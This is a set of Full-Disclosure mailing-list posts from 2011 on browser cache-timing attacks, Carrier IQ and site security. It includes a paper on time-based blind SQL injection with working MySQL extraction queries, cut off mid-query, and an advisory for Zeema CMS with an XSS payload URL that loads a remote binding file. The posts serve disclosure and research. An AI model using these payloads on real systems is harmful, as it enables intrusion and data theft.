Re: [Full-disclosure] Is FD no longer unmoderated?
Yeah... thumbs up for *New* users being moderated in FD until approved by the moderator! :) ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] fast and somewhat reliable cache timing
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Great PoC Michal, I tested the orig PoC on Chrome 15, Opera 11.52 and FF 8.1 on Mac OSX 10.6.8 and is reliable. I'm certainly adding it to the BeEF project. Cheers antisnatchor Michal Zalewski wrote: Evening, This party trick is not particularly exciting, but hopefully highlights a vaguely interesting point: http://lcamtuf.coredump.cx/cachetime/ In essence, in the past few years, browser vendors have severely crippled CSS :visited selectors in order to prevent CSS-based history snooping that made the headlines not long ago (see, for example, http://wtikay.com). Although it's fairly obvious that other privacy side channels, such as cache timing, theoretically disclose comparable data, the attacks demonstrated so far offered, at best, vaguely probabilistic results (say, http://www.cs.princeton.edu/sip/pub/webtiming.pdf). On top of that, cache probing was considered destructive, which significantly limited its usability. Consequently, an argument was made that CSS :visited offered unique performance and reliability benefits and needed to be addressed separately, while no serious work takes place on the remaining vectors. My PoC exploits cache timing in Firefox in what appears to be a fairly fast and reliable way. It is a crude hack, so it will probably fail for some of you - but it's probably still interesting. The key point is that to probe for cached content without immediately polluting the cache, we abort navigation before the HTTP request is made. We also work around setTimeout / setInterval clamps by leveraging event delivery. PS. If this is even remotely interesting, you may also enjoy http://lcamtuf.coredump.cx/tangled/ Cheers, /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.9 (Darwin) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iQEcBAEBAgAGBQJO2gzyAAoJEBgl8Z+oSxe4Gs8H/jgNmbiKwxSsisCuyN51bIbW C/8seFbSOtmUu15UghUvunHNTDcINC6DE9MCpW8NisgHKlc6GAgdrU+2kLBy94bR 7RVhvbO0ok9MoII4iJqbl392tscWzJ07HCfZEOOwgy4JoI8/lla6LNPhUBepcayX 50gZclVxRreBbbb+W9Oboz50u8rcfJCu/zopLPbrhNDdL7G+ORD9pO0FRc3+jsgm 11/Bbs9bwRTJGIOsm+TILvb2lpDHS6Ax6jbjj+9udqBW3oQfBtveb8aAFtDg7+vk Vz8aODJ78V6bcqCLn+I1WcedD0/cEHvkKi2E+UcBLdF2OQp5+mUIMiN8pnluvBE= =nUp+ -END PGP SIGNATURE- ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Carrier IQ for your phone
Kain, Rebecca (.) bka...@ford.com writes: http://www.extremetech.com/computing/107427-carrier-iq-which-phones-are-infected-and-how-to-remove-it and Julian Assange weighs in: http://www.geek.com/articles/mobile/julian-assange-to-iphone-blackberry-users-youre-screwed-2011121/ It is interesting how many errors my Iphone has stored on it, now that I looked. I'm amazed the thing makes calls at all. And congress is here to save us: http://www.pcmag.com/article2/0,2817,2397105,00.asp Interesting response from Carrier IQ in a long article on The Register: http://www.theregister.co.uk/2011/12/02/carrier_iq_interview/ | Yes, Carrier IQ is a vast digital fishing net that sees geographic | locations and the contents of text messages and search queries | swimming inside the phones the software monitors, the company's VP of | marketing, Andrew Coward, said in an extensive interview. But except | in rare circumstances, that data is dumped out of a phone's internal | memory almost as quickly as it goes in. Only in cases of a phone crash | or a dropped call is information transferred to servers under the | control of the cellular carrier so engineers can troubleshoot | bottlenecks and other glitches on their networks. -- Alan J. Wylie http://www.wylie.me.uk/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Indexed blind SQL injection
=== Indexed blind SQL injection === :Author: gamma95 gamma95 [at] gmail and his minions :Date: December 03, 2011 Time based blind SQL attack suffers from low bit/request ratio. Each request produces only one valuable bit of information. This paper describes a tweak that produces higher yield at the expense of longer runtime. Along the way, some issues and notes of applicability are also discussed. Background ++ Time based blind SQL injection attack is probably the most well-known technique in the planet. The method works by analyzing the time difference in various queries. Because query execution time is a side effect of a query, no visible output is required for this method to succeed. For example, a query could request that the DBMS to sleep for 10 seconds if the first character of the username is ``A``. Usually, time based technique go hand in hand with binary search. Instead of asking if the first character is ``1``, then ``2``, then ``3``, it could partition the possible values into two ranges (say from ``0`` to ``4`` and ``5`` to ``9``) and ask if the first character is less than ``5``. Depending on the result, it picks out the more likely range and repeats the process until there is only one possible value. This effectively puts a logarithmic bound on number of requests to the DBMS. In other words, each request gives us one bit of information. Increasing the usable bit/request ratio +++ Due to low bit/request ratio, an attack attempt usually leaves behind too many requests in access log. This is undesirable. A better approach could be to encode the correct value into query execution time itself. For example, if we know the value is a number from 0 to 9, we could ask DBMS to sleep for that many seconds straight. In this case, one request carries more than 3 bits of usable information. This is the principal idea behind our tweak. Indexed time based attack + To encode more bits into the execution time, we must work with variable numeric delay values. Therefore, we need two things: + A measurable delay interval. Too short the interval and network latency could negatively affect our measurement. Too long the delay will also waste our time. + And its mapping to target values. A delay of one second could mean character ``A`` or it could also mean some other value, depending on the possible domain. These necessitate an array-like index search. Say, if our domain is ten (character) values from ``0`` to ``9``, then we can easily combine them into an array like shown below. :: 1 2 3 4 5 6 7 8 9 10 (index) | | | | | | | | | | v v v v v v v v v v +---+---+---+---+---+---+---+---+---+---+ | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | (value) +---+---+---+---+---+---+---+---+---+---+ Given a random character, we can tell in one request if it is in this set, and if it is, what specific character it actually is. The way to do that is by delaying query time by the index of the character. If the input character is not in the set, there will be no delay. If it is, its index is determinable from the sleep time. An example ++ Suppose we are trying to grab version information from a **MySQL** server. Possible characters include 0-9 and period. Observe the execution time. :: select sleep(find_in_set(mid(@@version, 1, 1), '0,1,2,3,4,5,6,7,8,9,.')); 1 row in set (6.04 sec) # index 6, value '5' select sleep(find_in_set(mid(@@version, 2, 1), '0,1,2,3,4,5,6,7,8,9,.')); 1 row in set (11.00 sec) # index 11, value '.' select sleep(find_in_set(mid(@@version, 3, 1), '0,1,2,3,4,5,6,7,8,9,.')); 1 row in set (2.00 sec) # index 2, value '1' ... Each request gives us exactly one character (not bit). Notes of applicability ++ Adjusting sleep time Faster sleep time is easily achievable by multiplying the index with some factor smaller than 1. For example, we can sleep half the time as before:: select sleep(0.5 * find_in_set(mid(@@version, 1, 1), '0,1,2,3,4,5,6,7,8,9,.')); 1 row in set (3.00 sec) # index 6, value '5' Similarly, longer sleep time can use factors greater than 1. Guarding against network latency Time based attack generally works best in a fast and reliable networked environment. Small jitters in latency could skew the measurements and affect end result. However, this technique we are describing here could be modified to support network latency. The idea is that since sleeping time is a calculated number, we could add to it a fixed amount of time for latency, or prepend some invalid characters (such as ``a`` when the domain is 0-9) in the domain set. :: select sleep(find_in_set(mid(@@version, 1, 1),
Re: [Full-disclosure] fast and somewhat reliable cache timing
Yea, is interesting, i tested it on Firefox v8 windowsXP platform and it did not find anything, mind you i use 'private browsing' for *all* browsing... so i am wondering if that maybe helps keeping my cache secure... i also noticed that it returned no results, when in fact i had just been redirected from gmail to there, wich would mean google.com would have shown... so, private-browsing must be a safer way to browse.. very awesome PoC, i do recall also some botnet source codes in .cpp codes of bots wich can dump caches of upto i think FF4 or so now..when the dlls were used to store things possibly... i have not kept up with it, but that was in alot of bots, just called pstore.cpp and similarly the cmd could be done with .pstore website.com ,and that would do a cache search, for abut 5-6 browsers in one.. it managed to work with IE and FF anyhow, i tested srcs of 120- and nzmbot and they were able to extract infos they shouldnt have... Your eBook is definately on my to read list, and i am already l;ooking at the chapter.3 you give away free on your blog, actually, i know *anything* you write about, is going to be good :) cheers mate. d On 3 December 2011 22:50, Michele Orru antisnatc...@gmail.com wrote: -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Great PoC Michal, I tested the orig PoC on Chrome 15, Opera 11.52 and FF 8.1 on Mac OSX 10.6.8 and is reliable. I'm certainly adding it to the BeEF project. Cheers antisnatchor Michal Zalewski wrote: Evening, This party trick is not particularly exciting, but hopefully highlights a vaguely interesting point: http://lcamtuf.coredump.cx/cachetime/ In essence, in the past few years, browser vendors have severely crippled CSS :visited selectors in order to prevent CSS-based history snooping that made the headlines not long ago (see, for example, http://wtikay.com). Although it's fairly obvious that other privacy side channels, such as cache timing, theoretically disclose comparable data, the attacks demonstrated so far offered, at best, vaguely probabilistic results (say, http://www.cs.princeton.edu/sip/pub/webtiming.pdf). On top of that, cache probing was considered destructive, which significantly limited its usability. Consequently, an argument was made that CSS :visited offered unique performance and reliability benefits and needed to be addressed separately, while no serious work takes place on the remaining vectors. My PoC exploits cache timing in Firefox in what appears to be a fairly fast and reliable way. It is a crude hack, so it will probably fail for some of you - but it's probably still interesting. The key point is that to probe for cached content without immediately polluting the cache, we abort navigation before the HTTP request is made. We also work around setTimeout / setInterval clamps by leveraging event delivery. PS. If this is even remotely interesting, you may also enjoy http://lcamtuf.coredump.cx/tangled/ Cheers, /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.9 (Darwin) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iQEcBAEBAgAGBQJO2gzyAAoJEBgl8Z+oSxe4Gs8H/jgNmbiKwxSsisCuyN51bIbW C/8seFbSOtmUu15UghUvunHNTDcINC6DE9MCpW8NisgHKlc6GAgdrU+2kLBy94bR 7RVhvbO0ok9MoII4iJqbl392tscWzJ07HCfZEOOwgy4JoI8/lla6LNPhUBepcayX 50gZclVxRreBbbb+W9Oboz50u8rcfJCu/zopLPbrhNDdL7G+ORD9pO0FRc3+jsgm 11/Bbs9bwRTJGIOsm+TILvb2lpDHS6Ax6jbjj+9udqBW3oQfBtveb8aAFtDg7+vk Vz8aODJ78V6bcqCLn+I1WcedD0/cEHvkKi2E+UcBLdF2OQp5+mUIMiN8pnluvBE= =nUp+ -END PGP SIGNATURE- ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] fast and somewhat reliable cache timing
New book.. Oh my bad, I meant his NEW book wich offers chapter.3 for free reading... I would love to see the Cascading Stlye Sheets chapter, so i guess ill be buying it. NoStarch have been long regarded as ebook publishers who seem to have security in mind, so it would be a worthy buy.. Cheers. On 4 December 2011 09:25, Veeraganesh Reddy Thondapu veeraganeshre...@gmail.com wrote: Sorry for my ignorance but the book you were mentioning is that his Old book or the new one titled The Tangled Web: A Guide to Securing Modern Web Applications regards On Saturday, 3 December 2011, xD 0x41 sec...@gmail.com wrote: Yea, is interesting, i tested it on Firefox v8 windowsXP platform and it did not find anything, mind you i use 'private browsing' for *all* browsing... so i am wondering if that maybe helps keeping my cache secure... i also noticed that it returned no results, when in fact i had just been redirected from gmail to there, wich would mean google.com would have shown... so, private-browsing must be a safer way to browse.. very awesome PoC, i do recall also some botnet source codes in .cpp codes of bots wich can dump caches of upto i think FF4 or so now..when the dlls were used to store things possibly... i have not kept up with it, but that was in alot of bots, just called pstore.cpp and similarly the cmd could be done with .pstore website.com ,and that would do a cache search, for abut 5-6 browsers in one.. it managed to work with IE and FF anyhow, i tested srcs of 120- and nzmbot and they were able to extract infos they shouldnt have... Your eBook is definately on my to read list, and i am already l;ooking at the chapter.3 you give away free on your blog, actually, i know *anything* you write about, is going to be good :) cheers mate. d On 3 December 2011 22:50, Michele Orru antisnatc...@gmail.com wrote: -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Great PoC Michal, I tested the orig PoC on Chrome 15, Opera 11.52 and FF 8.1 on Mac OSX 10.6.8 and is reliable. I'm certainly adding it to the BeEF project. Cheers antisnatchor Michal Zalewski wrote: Evening, This party trick is not particularly exciting, but hopefully highlights a vaguely interesting point: http://lcamtuf.coredump.cx/cachetime/ In essence, in the past few years, browser vendors have severely crippled CSS :visited selectors in order to prevent CSS-based history snooping that made the headlines not long ago (see, for example, http://wtikay.com). Although it's fairly obvious that other privacy side channels, such as cache timing, theoretically disclose comparable data, the attacks demonstrated so far offered, at best, vaguely probabilistic results (say, http://www.cs.princeton.edu/sip/pub/webtiming.pdf). On top of that, cache probing was considered destructive, which significantly limited its usability. Consequently, an argument was made that CSS :visited offered unique performance and reliability benefits and needed to be addressed separately, while no serious work takes place on the remaining vectors. My PoC exploits cache timing in Firefox in what appears to be a fairly fast and reliable way. It is a crude hack, so it will probably fail for some of you - but it's probably still interesting. The key point is that to probe for cached content without immediately polluting the cache, we abort navigation before the HTTP request is made. We also work around setTimeout / setInterval clamps by leveraging event delivery. PS. If this is even remotely interesting, you may also enjoy http://lcamtuf.coredump.cx/tangled/ Cheers, /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.9 (Darwin) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iQEcBAEBAgAGBQJO2gzyAAoJEBgl8Z+oSxe4Gs8H/jgNmbiKwxSsisCuyN51bIbW C/8seFbSOtmUu15UghUvunHNTDcINC6DE9MCpW8NisgHKlc6GAgdrU+2kLBy94bR 7RVhvbO0ok9MoII4iJqbl392tscWzJ07HCfZEOOwgy4JoI8/lla6LNPhUBepcayX 50gZclVxRreBbbb+W9Oboz50u8rcfJCu/zopLPbrhNDdL7G+ORD9pO0FRc3+jsgm 11/Bbs9bwRTJGIOsm+TILvb2lpDHS6Ax6jbjj+9udqBW3oQfBtveb8aAFtDg7+vk Vz8aODJ78V6bcqCLn+I1WcedD0/cEHvkKi2E+UcBLdF2OQp5+mUIMiN8pnluvBE= =nUp+ -END PGP SIGNATURE- ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia -
[Full-disclosure] Vulnerabilities in Zeema CMS
Hello list! I want to warn you about Brute Force, Cross-Site Scripting and Full path disclosure vulnerabilities in Zeema CMS. It's Ukrainian commercial CMS. - Affected products: - Vulnerable are all versions of Zeema CMS. -- Details: -- Brute Force (WASC-11): http://site/cms/ XSS (WASC-08): http://site/search/?query=%22%20style=%22-moz-binding:url(http://websecurity.com.ua/webtools/xss.xml%23xss) Attack will work in Mozilla and Firefox. Full path disclosure (WASC-13): http://site/search/?page=10query=site Timeline: 2011.09.12 - found vulnerabilities during audit. After that client straight away informed developers. 2011.10.22 - announced at my site. 2011.10.23 - informed developers. 2011.12.02 - disclosed at my site. I mentioned about these vulnerabilities at my site (http://websecurity.com.ua/5459/). Best wishes regards, MustLive Administrator of Websecurity web site http://websecurity.com.ua ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
